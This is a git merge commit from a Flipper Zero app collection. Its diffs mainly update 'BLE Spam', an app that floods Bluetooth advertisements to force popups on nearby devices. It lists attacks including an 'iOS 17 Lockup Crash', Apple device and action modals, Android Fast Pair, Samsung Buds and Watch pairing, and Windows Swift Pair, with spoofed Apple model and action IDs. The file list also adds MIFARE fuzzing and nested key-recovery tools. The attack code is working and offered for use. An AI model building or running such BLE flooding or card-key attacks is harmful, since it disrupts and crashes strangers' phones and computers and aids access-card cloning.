Przeglądaj źródła

Merge branch 'main' of https://github.com/Flipper-XFW/Xtreme-Apps

Willy-JL 2 lat temu
rodzic
commit
cb0bb92a2b
100 zmienionych plików z 8778 dodań i 291 usunięć
  1. 0 4
      .gitmodules
  2. 2 2
      .utils/subdir-helper.sh
  3. 1 1
      ble_spam/application.fam
  4. 267 88
      ble_spam/ble_spam.c
  5. 44 0
      ble_spam/ble_spam.h
  6. BIN
      ble_spam/ble_spam_10px.png
  7. BIN
      ble_spam/icons/ble_spam.png
  8. 8 4
      ble_spam/protocols/_base.h
  9. 10 0
      ble_spam/protocols/_protocols.c
  10. 29 0
      ble_spam/protocols/_protocols.h
  11. 0 9
      ble_spam/protocols/_registry.c
  12. 0 15
      ble_spam/protocols/_registry.h
  13. 4 0
      ble_spam/protocols/_scenes.h
  14. 619 89
      ble_spam/protocols/continuity.c
  15. 5 5
      ble_spam/protocols/continuity.h
  16. 7 0
      ble_spam/protocols/continuity_scenes.h
  17. 498 0
      ble_spam/protocols/easysetup.c
  18. 25 0
      ble_spam/protocols/easysetup.h
  19. 4 0
      ble_spam/protocols/easysetup_scenes.h
  20. 212 32
      ble_spam/protocols/fastpair.c
  21. 3 3
      ble_spam/protocols/fastpair.h
  22. 2 0
      ble_spam/protocols/fastpair_scenes.h
  23. 84 17
      ble_spam/protocols/swiftpair.c
  24. 3 3
      ble_spam/protocols/swiftpair.h
  25. 1 0
      ble_spam/protocols/swiftpair_scenes.h
  26. 3 0
      ble_spam/scenes/_scenes.h
  27. 30 0
      ble_spam/scenes/_setup.c
  28. 28 0
      ble_spam/scenes/_setup.h
  29. 75 0
      ble_spam/scenes/config.c
  30. 16 0
      ble_spam/scenes/main.c
  31. 1 1
      flipbip/application.fam
  32. 2 2
      flipbip/catalog/manifest.yml
  33. 30 0
      flipbip/flipbip.c
  34. 20 1
      flipbip/flipbip.h
  35. 8 15
      flipbip/scenes/flipbip_scene_menu.c
  36. 1 0
      mifare_fuzzer/.gitsubtree
  37. 25 0
      mifare_fuzzer/README.md
  38. 11 0
      mifare_fuzzer/TODO.md
  39. 15 0
      mifare_fuzzer/application.fam
  40. 9 0
      mifare_fuzzer/example_uids04.txt
  41. 10 0
      mifare_fuzzer/example_uids07.txt
  42. BIN
      mifare_fuzzer/images/mifare_fuzzer_10px.png
  43. 166 0
      mifare_fuzzer/mifare_fuzzer.c
  44. 3 0
      mifare_fuzzer/mifare_fuzzer.h
  45. 14 0
      mifare_fuzzer/mifare_fuzzer_custom_events.h
  46. 78 0
      mifare_fuzzer/mifare_fuzzer_i.h
  47. 91 0
      mifare_fuzzer/mifare_fuzzer_worker.c
  48. 29 0
      mifare_fuzzer/mifare_fuzzer_worker.h
  49. 30 0
      mifare_fuzzer/scenes/mifare_fuzzer_scene.c
  50. 29 0
      mifare_fuzzer/scenes/mifare_fuzzer_scene.h
  51. 149 0
      mifare_fuzzer/scenes/mifare_fuzzer_scene_attack.c
  52. 3 0
      mifare_fuzzer/scenes/mifare_fuzzer_scene_config.h
  53. 241 0
      mifare_fuzzer/scenes/mifare_fuzzer_scene_emulator.c
  54. 131 0
      mifare_fuzzer/scenes/mifare_fuzzer_scene_start.c
  55. 307 0
      mifare_fuzzer/views/mifare_fuzzer_emulator.c
  56. 70 0
      mifare_fuzzer/views/mifare_fuzzer_emulator.h
  57. BIN
      mifare_nested/.flipcorg/gallery/1.png
  58. BIN
      mifare_nested/.flipcorg/gallery/2.png
  59. BIN
      mifare_nested/.flipcorg/gallery/3.png
  60. BIN
      mifare_nested/.flipcorg/gallery/4.png
  61. BIN
      mifare_nested/.flipcorg/gallery/5.png
  62. BIN
      mifare_nested/.flipcorg/gallery/6.png
  63. BIN
      mifare_nested/.flipcorg/gallery/7.png
  64. 1 0
      mifare_nested/.gitsubtree
  65. 120 0
      mifare_nested/CHANGELOG.md
  66. 674 0
      mifare_nested/LICENSE.md
  67. 29 0
      mifare_nested/README.CATALOG.md
  68. 39 0
      mifare_nested/README.md
  69. 3 0
      mifare_nested/TODO.md
  70. 25 0
      mifare_nested/application.fam
  71. BIN
      mifare_nested/assets/ApplyTag.png
  72. BIN
      mifare_nested/assets/DolphinCry.png
  73. BIN
      mifare_nested/assets/DolphinSuccess.png
  74. BIN
      mifare_nested/assets/Loading.png
  75. BIN
      mifare_nested/assets/icon.png
  76. 118 0
      mifare_nested/lib/crypto1/crypto1.c
  77. 39 0
      mifare_nested/lib/crypto1/crypto1.h
  78. 718 0
      mifare_nested/lib/nested/nested.c
  79. 118 0
      mifare_nested/lib/nested/nested.h
  80. 71 0
      mifare_nested/lib/parity/parity.c
  81. 10 0
      mifare_nested/lib/parity/parity.h
  82. 409 0
      mifare_nested/mifare_nested.c
  83. 3 0
      mifare_nested/mifare_nested.h
  84. 181 0
      mifare_nested/mifare_nested_i.h
  85. 1713 0
      mifare_nested/mifare_nested_worker.c
  86. 98 0
      mifare_nested/mifare_nested_worker.h
  87. 28 0
      mifare_nested/mifare_nested_worker_i.h
  88. 30 0
      mifare_nested/scenes/mifare_nested_scene.c
  89. 29 0
      mifare_nested/scenes/mifare_nested_scene.h
  90. 77 0
      mifare_nested/scenes/mifare_nested_scene_about.c
  91. 76 0
      mifare_nested/scenes/mifare_nested_scene_added_keys.c
  92. 95 0
      mifare_nested/scenes/mifare_nested_scene_check.c
  93. 117 0
      mifare_nested/scenes/mifare_nested_scene_check_keys.c
  94. 161 0
      mifare_nested/scenes/mifare_nested_scene_collecting.c
  95. 14 0
      mifare_nested/scenes/mifare_nested_scene_config.h
  96. 59 0
      mifare_nested/scenes/mifare_nested_scene_failed.c
  97. 56 0
      mifare_nested/scenes/mifare_nested_scene_need_collection.c
  98. 59 0
      mifare_nested/scenes/mifare_nested_scene_need_key_recovery.c
  99. 61 0
      mifare_nested/scenes/mifare_nested_scene_no_keys.c
  100. 94 0
      mifare_nested/scenes/mifare_nested_scene_no_nonces_collected.c

+ 0 - 4
.gitmodules

@@ -1,4 +0,0 @@
-[submodule "totp/lib/wolfssl"]
-	path = totp/lib/wolfssl
-	url = https://github.com/wolfSSL/wolfssl.git
-	branch = master

+ 2 - 2
.utils/subdir-helper.sh

@@ -16,7 +16,7 @@ temp=$(echo ${repo%/} | rev | cut -d/ -f1,2 | rev | tr / -)-${branch}
 fetch=_fetch-${temp}
 split=_split-${temp}-$(echo ${subdir} | tr / -)
 git fetch --no-tags ${repo} ${branch}:${fetch}
-git checkout --recurse-submodules ${fetch}
+git checkout ${fetch}
 git subtree split -P ${subdir} -b ${split}
-git checkout --recurse-submodules ${prev}
+git checkout ${prev}
 git subtree ${action} -P ${path} ${split} -m "${action^} ${path} from ${repo}"

+ 1 - 1
ble_spam/application.fam

@@ -8,7 +8,7 @@ App(
     fap_category="Bluetooth",
     fap_author="@Willy-JL @ECTO-1A @Spooks4576",
     fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam",
-    fap_version="2.0",
+    fap_version="3.3",
     fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications",
     fap_icon_assets="icons",
     fap_icon_assets_symbol="ble_spam",

+ 267 - 88
ble_spam/ble_spam.c

@@ -1,47 +1,36 @@
+#include "ble_spam.h"
 #include <gui/gui.h>
 #include <furi_hal_bt.h>
 #include <gui/elements.h>
 
-#include "protocols/_registry.h"
+#include "protocols/_protocols.h"
 
 // Hacked together by @Willy-JL
 // Custom adv API by @Willy-JL (idea by @xMasterX)
 // iOS 17 Crash by @ECTO-1A
-// Android and Windows Pairs by @Spooks4576 and @ECTO-1A
+// Android, Samsung and Windows Pairs by @Spooks4576 and @ECTO-1A
 // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
 // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
 
-typedef struct {
-    bool random_mac;
-    const BleSpamProtocol* protocol;
-    BleSpamMsg msg;
-} Payload;
-
-typedef struct {
-    const char* title;
-    const char* text;
-    Payload payload;
-} Attack;
-
 static Attack attacks[] = {
     {
-        .title = "+ Kitchen Sink",
+        .title = "The Kitchen Sink",
         .text = "Flood all attacks at once",
+        .protocol = NULL,
         .payload =
             {
                 .random_mac = true,
-                .protocol = NULL,
-                .msg = {},
+                .cfg = {},
             },
     },
     {
         .title = "iOS 17 Lockup Crash",
         .text = "Newer iPhones, long range",
+        .protocol = &protocol_continuity,
         .payload =
             {
                 .random_mac = false,
-                .protocol = &ble_spam_protocol_continuity,
-                .msg =
+                .cfg =
                     {
                         .continuity =
                             {
@@ -54,11 +43,11 @@ static Attack attacks[] = {
     {
         .title = "Apple Action Modal",
         .text = "Lock cooldown, long range",
+        .protocol = &protocol_continuity,
         .payload =
             {
                 .random_mac = false,
-                .protocol = &ble_spam_protocol_continuity,
-                .msg =
+                .cfg =
                     {
                         .continuity =
                             {
@@ -71,11 +60,11 @@ static Attack attacks[] = {
     {
         .title = "Apple Device Popup",
         .text = "No cooldown, close range",
+        .protocol = &protocol_continuity,
         .payload =
             {
                 .random_mac = false,
-                .protocol = &ble_spam_protocol_continuity,
-                .msg =
+                .cfg =
                     {
                         .continuity =
                             {
@@ -86,26 +75,60 @@ static Attack attacks[] = {
             },
     },
     {
-        .title = "Android Device Pair",
+        .title = "Android Device Connect",
         .text = "Reboot cooldown, long range",
+        .protocol = &protocol_fastpair,
         .payload =
             {
                 .random_mac = true,
-                .protocol = &ble_spam_protocol_fastpair,
-                .msg =
+                .cfg =
                     {
                         .fastpair = {},
                     },
             },
     },
+    {
+        .title = "Samsung Buds Popup",
+        .text = "No cooldown, long range",
+        .protocol = &protocol_easysetup,
+        .payload =
+            {
+                .random_mac = true,
+                .cfg =
+                    {
+                        .easysetup =
+                            {
+                                .type = EasysetupTypeBuds,
+                                .data = {},
+                            },
+                    },
+            },
+    },
+    {
+        .title = "Samsung Watch Pair",
+        .text = "No cooldown, long range",
+        .protocol = &protocol_easysetup,
+        .payload =
+            {
+                .random_mac = true,
+                .cfg =
+                    {
+                        .easysetup =
+                            {
+                                .type = EasysetupTypeWatch,
+                                .data = {},
+                            },
+                    },
+            },
+    },
     {
         .title = "Windows Device Found",
-        .text = "Requires enabling SwiftPair",
+        .text = "No cooldown, short range",
+        .protocol = &protocol_swiftpair,
         .payload =
             {
                 .random_mac = true,
-                .protocol = &ble_spam_protocol_swiftpair,
-                .msg =
+                .cfg =
                     {
                         .swiftpair = {},
                     },
@@ -113,11 +136,17 @@ static Attack attacks[] = {
     },
 };
 
-#define ATTACK_COUNT ((signed)COUNT_OF(attacks))
+#define ATTACKS_COUNT ((signed)COUNT_OF(attacks))
 
-uint16_t delays[] = {20, 50, 100, 200};
+static uint16_t delays[] = {20, 50, 100, 200};
 
 typedef struct {
+    Ctx ctx;
+    View* main_view;
+    bool lock_warning;
+    uint8_t lock_count;
+    FuriTimer* lock_timer;
+
     bool resume;
     bool advertising;
     uint8_t delay;
@@ -125,21 +154,43 @@ typedef struct {
     int8_t index;
 } State;
 
-static int32_t adv_thread(void* ctx) {
-    State* state = ctx;
+NotificationMessage blink_message = {
+    .type = NotificationMessageTypeLedBlinkStart,
+    .data.led_blink.color = LightBlue | LightGreen,
+    .data.led_blink.on_time = 10,
+    .data.led_blink.period = 100,
+};
+const NotificationSequence blink_sequence = {
+    &blink_message,
+    &message_do_not_reset,
+    NULL,
+};
+static void start_blink(State* state) {
+    uint16_t period = delays[state->delay];
+    if(period <= 100) period += 30;
+    blink_message.data.led_blink.period = period;
+    notification_message_block(state->ctx.notification, &blink_sequence);
+}
+static void stop_blink(State* state) {
+    notification_message_block(state->ctx.notification, &sequence_blink_stop);
+}
+
+static int32_t adv_thread(void* _ctx) {
+    State* state = _ctx;
     uint8_t size;
     uint16_t delay;
     uint8_t* packet;
     uint8_t mac[GAP_MAC_ADDR_SIZE];
     Payload* payload = &attacks[state->index].payload;
+    const Protocol* protocol = attacks[state->index].protocol;
     if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
+    if(state->ctx.led_indicator) start_blink(state);
 
     while(state->advertising) {
-        if(payload->protocol) {
-            payload->protocol->make_packet(&size, &packet, &payload->msg);
+        if(protocol) {
+            protocol->make_packet(&size, &packet, &payload->cfg);
         } else {
-            ble_spam_protocols[rand() % ble_spam_protocols_count]->make_packet(
-                &size, &packet, NULL);
+            protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL);
         }
         furi_hal_bt_custom_adv_set(packet, size);
         free(packet);
@@ -151,6 +202,7 @@ static int32_t adv_thread(void* ctx) {
         furi_hal_bt_custom_adv_stop();
     }
 
+    if(state->ctx.led_indicator) stop_blink(state);
     return 0;
 }
 
@@ -161,28 +213,33 @@ static void toggle_adv(State* state) {
         furi_thread_join(state->thread);
         if(state->resume) furi_hal_bt_start_advertising();
     } else {
+        state->advertising = true;
         state->resume = furi_hal_bt_is_active();
         furi_hal_bt_stop_advertising();
-        state->advertising = true;
         furi_thread_start(state->thread);
     }
 }
 
-#define PAGE_MIN (-3)
-#define PAGE_MAX ATTACK_COUNT
+#define PAGE_MIN (-4)
+#define PAGE_MAX ATTACKS_COUNT
 enum {
     PageHelpApps = PAGE_MIN,
     PageHelpDelay,
     PageHelpDistance,
+    PageHelpInfoConfig,
     PageStart = 0,
-    PageEnd = ATTACK_COUNT - 1,
+    PageEnd = ATTACKS_COUNT - 1,
     PageAboutCredits = PAGE_MAX,
 };
 
-static void draw_callback(Canvas* canvas, void* ctx) {
-    State* state = ctx;
+static void draw_callback(Canvas* canvas, void* _ctx) {
+    State* state = *(State**)_ctx;
     const char* back = "Back";
     const char* next = "Next";
+    if(state->index < 0) {
+        back = "Next";
+        next = "Back";
+    }
     switch(state->index) {
     case PageStart - 1:
         next = "Spam";
@@ -199,12 +256,12 @@ static void draw_callback(Canvas* canvas, void* ctx) {
     }
 
     const Attack* attack =
-        (state->index >= 0 && state->index <= ATTACK_COUNT - 1) ? &attacks[state->index] : NULL;
-    const Payload* payload = &attack->payload;
-    const BleSpamProtocol* protocol = (attack && payload->protocol) ? payload->protocol : NULL;
+        (state->index >= 0 && state->index <= ATTACKS_COUNT - 1) ? &attacks[state->index] : NULL;
+    const Payload* payload = attack ? &attack->payload : NULL;
+    const Protocol* protocol = attack ? attack->protocol : NULL;
 
     canvas_set_font(canvas, FontSecondary);
-    canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble);
+    canvas_draw_icon(canvas, 4 - !protocol, 3, protocol ? protocol->icon : &I_ble_spam);
     canvas_draw_str(canvas, 14, 12, "BLE Spam");
 
     switch(state->index) {
@@ -251,9 +308,25 @@ static void draw_callback(Canvas* canvas, void* ctx) {
             48,
             AlignLeft,
             AlignTop,
-            "\e#Distance\e# is limited, attacks\n"
-            "work under 1 meter but a\n"
-            "few are marked 'long range'",
+            "\e#Distance\e# varies greatly:\n"
+            "some are long range (>30 m)\n"
+            "others are close range (<1 m)",
+            false);
+        break;
+    case PageHelpInfoConfig:
+        canvas_set_font(canvas, FontBatteryPercent);
+        canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
+        elements_text_box(
+            canvas,
+            4,
+            16,
+            120,
+            48,
+            AlignLeft,
+            AlignTop,
+            "See \e#more info\e# and change\n"
+            "\e#attack options\e# by holding\n"
+            "Ok on each attack page",
             false);
         break;
     case PageAboutCredits:
@@ -270,11 +343,15 @@ static void draw_callback(Canvas* canvas, void* ctx) {
             "App+Spam: \e#WillyJL\e# XFW\n"
             "Apple+Crash: \e#ECTO-1A\e#\n"
             "Android+Win: \e#Spooks4576\e#\n"
-            "                                   Version \e#2.0\e#",
+            "                                   Version \e#3.3\e#",
             false);
         break;
     default: {
         if(!attack) break;
+        if(state->ctx.lock_keyboard && !state->advertising) {
+            // Forgive me Lord for I have sinned by handling state in draw
+            toggle_adv(state);
+        }
         char str[32];
 
         canvas_set_font(canvas, FontBatteryPercent);
@@ -289,12 +366,12 @@ static void draw_callback(Canvas* canvas, void* ctx) {
             sizeof(str),
             "%02i/%02i: %s",
             state->index + 1,
-            ATTACK_COUNT,
-            protocol ? protocol->get_name(&payload->msg) : "Everything");
+            ATTACKS_COUNT,
+            protocol ? protocol->get_name(&payload->cfg) : "Everything AND");
         canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str);
 
         canvas_set_font(canvas, FontPrimary);
-        canvas_draw_str(canvas, 4, 32, attack->title);
+        canvas_draw_str(canvas, 4, 33, attack->title);
 
         canvas_set_font(canvas, FontSecondary);
         canvas_draw_str(canvas, 4, 46, attack->text);
@@ -310,50 +387,68 @@ static void draw_callback(Canvas* canvas, void* ctx) {
     if(state->index < PAGE_MAX) {
         elements_button_right(canvas, next);
     }
-}
 
-static void input_callback(InputEvent* input, void* ctx) {
-    FuriMessageQueue* input_queue = ctx;
-    if(input->type == InputTypeShort || input->type == InputTypeLong ||
-       input->type == InputTypeRepeat) {
-        furi_message_queue_put(input_queue, input, 0);
+    if(state->lock_warning) {
+        canvas_set_font(canvas, FontSecondary);
+        elements_bold_rounded_frame(canvas, 14, 8, 99, 48);
+        elements_multiline_text(canvas, 65, 26, "To unlock\npress:");
+        canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8);
+        canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8);
+        canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8);
+        canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42);
+        canvas_draw_dot(canvas, 17, 61);
     }
 }
 
-int32_t ble_spam(void* p) {
-    UNUSED(p);
-    State* state = malloc(sizeof(State));
-    state->thread = furi_thread_alloc();
-    furi_thread_set_callback(state->thread, adv_thread);
-    furi_thread_set_context(state->thread, state);
-    furi_thread_set_stack_size(state->thread, 4096);
-
-    FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
-    ViewPort* view_port = view_port_alloc();
-    Gui* gui = furi_record_open(RECORD_GUI);
-    view_port_input_callback_set(view_port, input_callback, input_queue);
-    view_port_draw_callback_set(view_port, draw_callback, state);
-    gui_add_view_port(gui, view_port, GuiLayerFullscreen);
-
-    bool running = true;
-    while(running) {
-        InputEvent input;
-        furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk);
+static bool input_callback(InputEvent* input, void* _ctx) {
+    View* view = _ctx;
+    State* state = *(State**)view_get_model(view);
+    bool consumed = false;
+
+    if(state->ctx.lock_keyboard) {
+        consumed = true;
+        with_view_model(
+            state->main_view, State * *model, { (*model)->lock_warning = true; }, true);
+        if(state->lock_count == 0) {
+            furi_timer_start(state->lock_timer, pdMS_TO_TICKS(1000));
+        }
+        if(input->type == InputTypeShort && input->key == InputKeyBack) {
+            state->lock_count++;
+        }
+        if(state->lock_count >= 3) {
+            furi_timer_start(state->lock_timer, 1);
+        }
+    } else if(
+        input->type == InputTypeShort || input->type == InputTypeLong ||
+        input->type == InputTypeRepeat) {
+        consumed = true;
 
-        bool is_attack = state->index >= 0 && state->index <= ATTACK_COUNT - 1;
+        bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1;
         bool advertising = state->advertising;
-        switch(input.key) {
+
+        switch(input->key) {
         case InputKeyOk:
-            if(is_attack) toggle_adv(state);
+            if(is_attack) {
+                if(input->type == InputTypeLong) {
+                    if(advertising) toggle_adv(state);
+                    state->ctx.attack = &attacks[state->index];
+                    scene_manager_set_scene_state(state->ctx.scene_manager, SceneConfig, 0);
+                    scene_manager_next_scene(state->ctx.scene_manager, SceneConfig);
+                } else if(input->type == InputTypeShort) {
+                    toggle_adv(state);
+                }
+            }
             break;
         case InputKeyUp:
             if(is_attack && state->delay < COUNT_OF(delays) - 1) {
                 state->delay++;
+                if(advertising) start_blink(state);
             }
             break;
         case InputKeyDown:
             if(is_attack && state->delay > 0) {
                 state->delay--;
+                if(advertising) start_blink(state);
             }
             break;
         case InputKeyLeft:
@@ -370,20 +465,104 @@ int32_t ble_spam(void* p) {
             break;
         case InputKeyBack:
             if(advertising) toggle_adv(state);
-            running = false;
+            consumed = false;
             break;
         default:
-            continue;
+            break;
         }
+    }
 
-        view_port_update(view_port);
+    view_commit_model(view, consumed);
+    return consumed;
+}
+
+static void lock_timer_callback(void* _ctx) {
+    State* state = _ctx;
+    if(state->lock_count < 3) {
+        notification_message_block(state->ctx.notification, &sequence_display_backlight_off);
+    } else {
+        state->ctx.lock_keyboard = false;
     }
+    with_view_model(
+        state->main_view, State * *model, { (*model)->lock_warning = false; }, true);
+    state->lock_count = 0;
+}
+
+static bool back_event_callback(void* _ctx) {
+    Ctx* ctx = _ctx;
+    return scene_manager_handle_back_event(ctx->scene_manager);
+}
+
+int32_t ble_spam(void* p) {
+    UNUSED(p);
+    State* state = malloc(sizeof(State));
+    state->thread = furi_thread_alloc();
+    furi_thread_set_callback(state->thread, adv_thread);
+    furi_thread_set_context(state->thread, state);
+    furi_thread_set_stack_size(state->thread, 4096);
+    state->ctx.led_indicator = true;
+    state->lock_timer = furi_timer_alloc(lock_timer_callback, FuriTimerTypeOnce, state);
 
-    gui_remove_view_port(gui, view_port);
+    state->ctx.notification = furi_record_open(RECORD_NOTIFICATION);
+    Gui* gui = furi_record_open(RECORD_GUI);
+    state->ctx.view_dispatcher = view_dispatcher_alloc();
+    view_dispatcher_enable_queue(state->ctx.view_dispatcher);
+    view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, &state->ctx);
+    view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback);
+    state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx);
+
+    state->main_view = view_alloc();
+    view_allocate_model(state->main_view, ViewModelTypeLocking, sizeof(State*));
+    with_view_model(
+        state->main_view, State * *model, { *model = state; }, false);
+    view_set_context(state->main_view, state->main_view);
+    view_set_draw_callback(state->main_view, draw_callback);
+    view_set_input_callback(state->main_view, input_callback);
+    view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, state->main_view);
+
+    state->ctx.byte_input = byte_input_alloc();
+    view_dispatcher_add_view(
+        state->ctx.view_dispatcher, ViewByteInput, byte_input_get_view(state->ctx.byte_input));
+
+    state->ctx.submenu = submenu_alloc();
+    view_dispatcher_add_view(
+        state->ctx.view_dispatcher, ViewSubmenu, submenu_get_view(state->ctx.submenu));
+
+    state->ctx.text_input = text_input_alloc();
+    view_dispatcher_add_view(
+        state->ctx.view_dispatcher, ViewTextInput, text_input_get_view(state->ctx.text_input));
+
+    state->ctx.variable_item_list = variable_item_list_alloc();
+    view_dispatcher_add_view(
+        state->ctx.view_dispatcher,
+        ViewVariableItemList,
+        variable_item_list_get_view(state->ctx.variable_item_list));
+
+    view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen);
+    scene_manager_next_scene(state->ctx.scene_manager, SceneMain);
+    view_dispatcher_run(state->ctx.view_dispatcher);
+
+    view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewByteInput);
+    byte_input_free(state->ctx.byte_input);
+
+    view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewSubmenu);
+    submenu_free(state->ctx.submenu);
+
+    view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewTextInput);
+    text_input_free(state->ctx.text_input);
+
+    view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList);
+    variable_item_list_free(state->ctx.variable_item_list);
+
+    view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain);
+    view_free(state->main_view);
+
+    scene_manager_free(state->ctx.scene_manager);
+    view_dispatcher_free(state->ctx.view_dispatcher);
     furi_record_close(RECORD_GUI);
-    view_port_free(view_port);
-    furi_message_queue_free(input_queue);
+    furi_record_close(RECORD_NOTIFICATION);
 
+    furi_timer_free(state->lock_timer);
     furi_thread_free(state->thread);
     free(state);
     return 0;

+ 44 - 0
ble_spam/ble_spam.h

@@ -0,0 +1,44 @@
+#pragma once
+
+#include <notification/notification_messages.h>
+#include <gui/view_dispatcher.h>
+#include <gui/modules/byte_input.h>
+#include <gui/modules/submenu.h>
+#include <gui/modules/text_input.h>
+#include <gui/modules/variable_item_list.h>
+
+#include "scenes/_setup.h"
+
+enum {
+    ViewMain,
+    ViewByteInput,
+    ViewSubmenu,
+    ViewTextInput,
+    ViewVariableItemList,
+};
+
+enum {
+    ConfigRandomMac,
+    ConfigExtraStart = ConfigRandomMac,
+    ConfigLedIndicator,
+    ConfigLockKeyboard,
+};
+
+typedef struct Attack Attack;
+
+typedef struct {
+    Attack* attack;
+    uint8_t byte_store[3];
+    VariableItemListEnterCallback fallback_config_enter;
+    bool led_indicator;
+    bool lock_keyboard;
+
+    NotificationApp* notification;
+    ViewDispatcher* view_dispatcher;
+    SceneManager* scene_manager;
+
+    ByteInput* byte_input;
+    Submenu* submenu;
+    TextInput* text_input;
+    VariableItemList* variable_item_list;
+} Ctx;

BIN
ble_spam/ble_spam_10px.png


BIN
ble_spam/icons/ble.png → ble_spam/icons/ble_spam.png


+ 8 - 4
ble_spam/protocols/_base.h

@@ -3,15 +3,19 @@
 #include <stdint.h>
 #include <stdlib.h>
 #include <string.h>
+#include <stdbool.h>
 #include <assets_icons.h>
 #include "ble_spam_icons.h"
 #include <furi_hal_random.h>
 #include <core/core_defines.h>
+#include "../ble_spam.h"
 
-typedef union BleSpamMsg BleSpamMsg;
+typedef union ProtocolCfg ProtocolCfg;
 
 typedef struct {
     const Icon* icon;
-    const char* (*get_name)(const BleSpamMsg* _msg);
-    void (*make_packet)(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg);
-} BleSpamProtocol;
+    const char* (*get_name)(const ProtocolCfg* _cfg);
+    void (*make_packet)(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg);
+    void (*extra_config)(Ctx* ctx);
+    uint8_t (*config_count)(const ProtocolCfg* _cfg);
+} Protocol;

+ 10 - 0
ble_spam/protocols/_protocols.c

@@ -0,0 +1,10 @@
+#include "_protocols.h"
+
+const Protocol* protocols[] = {
+    &protocol_continuity,
+    &protocol_fastpair,
+    &protocol_easysetup,
+    &protocol_swiftpair,
+};
+
+const size_t protocols_count = COUNT_OF(protocols);

+ 29 - 0
ble_spam/protocols/_protocols.h

@@ -0,0 +1,29 @@
+#pragma once
+
+#include "continuity.h"
+#include "fastpair.h"
+#include "easysetup.h"
+#include "swiftpair.h"
+
+union ProtocolCfg {
+    ContinuityCfg continuity;
+    FastpairCfg fastpair;
+    EasysetupCfg easysetup;
+    SwiftpairCfg swiftpair;
+};
+
+extern const Protocol* protocols[];
+
+extern const size_t protocols_count;
+
+typedef struct {
+    bool random_mac;
+    ProtocolCfg cfg;
+} Payload;
+
+struct Attack {
+    const char* title;
+    const char* text;
+    const Protocol* protocol;
+    Payload payload;
+};

+ 0 - 9
ble_spam/protocols/_registry.c

@@ -1,9 +0,0 @@
-#include "_registry.h"
-
-const BleSpamProtocol* ble_spam_protocols[] = {
-    &ble_spam_protocol_continuity,
-    &ble_spam_protocol_fastpair,
-    &ble_spam_protocol_swiftpair,
-};
-
-const size_t ble_spam_protocols_count = COUNT_OF(ble_spam_protocols);

+ 0 - 15
ble_spam/protocols/_registry.h

@@ -1,15 +0,0 @@
-#pragma once
-
-#include "continuity.h"
-#include "fastpair.h"
-#include "swiftpair.h"
-
-union BleSpamMsg {
-    ContinuityMsg continuity;
-    FastpairMsg fastpair;
-    SwiftpairMsg swiftpair;
-};
-
-extern const BleSpamProtocol* ble_spam_protocols[];
-
-extern const size_t ble_spam_protocols_count;

+ 4 - 0
ble_spam/protocols/_scenes.h

@@ -0,0 +1,4 @@
+#include "continuity_scenes.h"
+#include "fastpair_scenes.h"
+#include "easysetup_scenes.h"
+#include "swiftpair_scenes.h"

+ 619 - 89
ble_spam/protocols/continuity.c

@@ -1,28 +1,83 @@
 #include "continuity.h"
-#include "_registry.h"
+#include "_protocols.h"
 
 // Hacked together by @Willy-JL
 // iOS 17 Crash by @ECTO-1A
 // Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
 // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
 
-static const char* type_names[ContinuityTypeCount] = {
+const struct {
+    uint16_t value;
+    const char* name;
+} pp_models[] = {
+    {0x0E20, "AirPods Pro"},
+    {0x0620, "Beats Solo 3"},
+    {0x0A20, "AirPods Max"},
+    {0x1020, "Beats Flex"},
+    {0x0055, "Airtag"},
+    {0x0030, "Hermes Airtag"},
+    {0x0220, "AirPods"},
+    {0x0F20, "AirPods 2nd Gen"},
+    {0x1320, "AirPods 3rd Gen"},
+    {0x1420, "AirPods Pro 2nd Gen"},
+    {0x0320, "Powerbeats 3"},
+    {0x0B20, "Powerbeats Pro"},
+    {0x0C20, "Beats Solo Pro"},
+    {0x1120, "Beats Studio Buds"},
+    {0x0520, "Beats X"},
+    {0x0920, "Beats Studio 3"},
+    {0x1720, "Beats Studio Pro"},
+    {0x1220, "Beats Fit Pro"},
+    {0x1620, "Beats Studio Buds+"},
+};
+const uint8_t pp_models_count = COUNT_OF(pp_models);
+
+const struct {
+    uint8_t value;
+    const char* name;
+} pp_prefixes[] = {
+    {0x01, "New Device"},
+    {0x07, "Not Your Device"},
+    {0x05, "New Airtag"},
+};
+const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);
+
+const struct {
+    uint8_t value;
+    const char* name;
+} na_actions[] = {
+    {0x13, "AppleTV AutoFill"},
+    {0x27, "AppleTV Connecting..."},
+    {0x20, "Join This AppleTV?"},
+    {0x19, "AppleTV Audio Sync"},
+    {0x1E, "AppleTV Color Balance"},
+    {0x09, "Setup New iPhone"},
+    {0x02, "Transfer Phone Number"},
+    {0x0B, "HomePod Setup"},
+    {0x01, "Setup New AppleTV"},
